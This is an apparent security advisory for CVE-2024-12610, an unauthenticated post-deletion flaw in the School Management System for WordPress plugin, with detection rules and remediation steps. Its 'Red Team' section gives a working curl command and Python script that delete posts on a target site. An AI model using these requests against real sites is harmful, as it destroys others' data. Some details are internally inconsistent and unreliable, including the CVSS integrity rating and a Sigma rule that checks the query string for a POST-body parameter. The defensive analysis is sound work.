CVE-2024-12610

Executive Summary

CVE-2024-12610 is a Missing Authorization vulnerability in the School Management System for WordPress plugin, affecting all versions up to and including 93.0.0. The vulnerability resides in the mj_smgt_remove_feetype and mj_smgt_remove_category_new AJAX actions, which lack proper capability checks. This allows unauthenticated attackers to delete arbitrary posts, leading to unauthorized data loss. The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's AJAX handler logic.

The CVSS score is 5.3 (Medium), with a low attack complexity and no privileges required. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch makes it a significant risk for affected sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since no patch is available, users must manually remove or disable the plugin to mitigate risk. The plugin's supply chain is compromised due to the missing authorization checks, which could be exploited to delete critical posts, pages, or custom post types.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated exploitation.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Deletion of posts reduces availability.

Threat Level: Medium. The vulnerability allows unauthorized deletion of arbitrary posts, which can disrupt site content and functionality. While not critical, it poses a significant risk to data integrity and availability.

Deep Dive & Mechanics

The vulnerability exists in the School Management System for WordPress plugin's AJAX handlers. The plugin registers two AJAX actions: mj_smgt_remove_feetype and mj_smgt_remove_category_new. These actions are intended to delete fee types and categories, respectively. However, the plugin fails to verify the user's capabilities before processing the request.

In WordPress, AJAX actions should include a capability check (e.g., current_user_can('manage_options')) to ensure only authorized users can perform sensitive operations. In this case, the missing check allows any unauthenticated user to send a POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the appropriate action parameter and post ID, resulting in the deletion of any post.

The root cause is a missing nonce verification and capability check in the callback functions. The plugin directly calls wp_delete_post() without verifying the user's permissions.

Vulnerable vs. Patched Code

Vulnerable Code (Example from plugin):

add_action('wp_ajax_mj_smgt_remove_feetype', 'mj_smgt_remove_feetype');
add_action('wp_ajax_nopriv_mj_smgt_remove_feetype', 'mj_smgt_remove_feetype');

function mj_smgt_remove_feetype() {
    $post_id = intval($_POST['id']);
    wp_delete_post($post_id, true);
    echo 'Deleted';
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_mj_smgt_remove_feetype', 'mj_smgt_remove_feetype');
// Remove the nopriv action to prevent unauthenticated access

function mj_smgt_remove_feetype() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'mj_smgt_remove_feetype')) {
        wp_die('Security check failed');
    }
    // Check capability
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    $post_id = intval($_POST['id']);
    wp_delete_post($post_id, true);
    echo 'Deleted';
    wp_die();
}

The patched version removes the wp_ajax_nopriv_ hook (which allows unauthenticated access) and adds nonce verification and capability checks.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed (version <= 93.0.0).
• Knowledge of a valid post ID to delete.

Exploitation Steps:

1. Identify a target post ID (e.g., 123).
2. Send a POST request to the WordPress AJAX endpoint:

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=mj_smgt_remove_feetype&id=123"

3. The post with ID 123 will be permanently deleted.

Automated Exploit (Python):

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
post_id = 123

data = {
    "action": "mj_smgt_remove_feetype",
    "id": post_id
}

response = requests.post(target, data=data)
if "Deleted" in response.text:
    print(f"Post {post_id} deleted successfully.")
else:
    print("Exploitation failed.")

Blue Team

Detection:

• Monitor AJAX requests to /wp-admin/admin-ajax.php with actions mj_smgt_remove_feetype or mj_smgt_remove_category_new.
• Look for repeated POST requests from unauthenticated sources.
• Check for sudden deletion of multiple posts.

Mitigation:

• Disable the plugin immediately if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block these AJAX actions for unauthenticated users.
• Use a security plugin to monitor and log AJAX requests.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=mj_smgt_remove_feetype or action=mj_smgt_remove_category_new.
  • Repeated requests from the same IP address targeting different post IDs.

• Host IOCs:

  • Log entries in WordPress debug log showing wp_delete_post calls without authentication.
  • Missing posts or pages that were previously published.

• File IOCs:

  • Presence of the vulnerable plugin files (e.g., school-management-system-for-wordpress directory).

Detection Engineering

YARA Rule

rule CVE_2024_12610_WordPress_Plugin {
    meta:
        description = "Detects vulnerable School Management System for WordPress plugin"
        author = "Valters IT"
        date = "2025-04-09"
        cve = "CVE-2024-12610"
    strings:
        $func1 = "mj_smgt_remove_feetype" ascii wide
        $func2 = "mj_smgt_remove_category_new" ascii wide
        $vuln = "wp_delete_post" ascii wide
    condition:
        all of ($func*) and $vuln
}

Sigma Rule

title: CVE-2024-12610 - Unauthorized Post Deletion via AJAX
id: 8a7b3c2d-1e5f-4a6b-9c8d-7e0f1a2b3c4d
status: experimental
description: Detects exploitation attempts against CVE-2024-12610
author: Valters IT
date: 2025-04-09
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=mj_smgt_remove_feetype"
            - "action=mj_smgt_remove_category_new"
    condition: selection
falsepositives:
    - Legitimate admin actions (if plugin is patched)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12610 - Unauthorized Post Deletion Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=mj_smgt_remove_feetype"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Since no patch is available, deactivate and delete the School Management System for WordPress plugin from all affected sites.
2. Audit for data loss – Check for any posts that may have been deleted without authorization.
3. Review logs – Examine web server and WordPress logs for exploitation attempts.

Long-term Mitigation:

• Apply principle of least privilege – Ensure all AJAX actions include proper capability checks and nonce verification.
• Use a security plugin – Implement a WordPress security plugin that monitors AJAX requests and blocks suspicious activity.
• Regular updates – Keep all plugins and themes updated to the latest versions.

Vendor Communication:

• Contact the plugin vendor to request a patch. If no response, consider switching to an alternative plugin.

Valters IT – Securing Digital Frontiers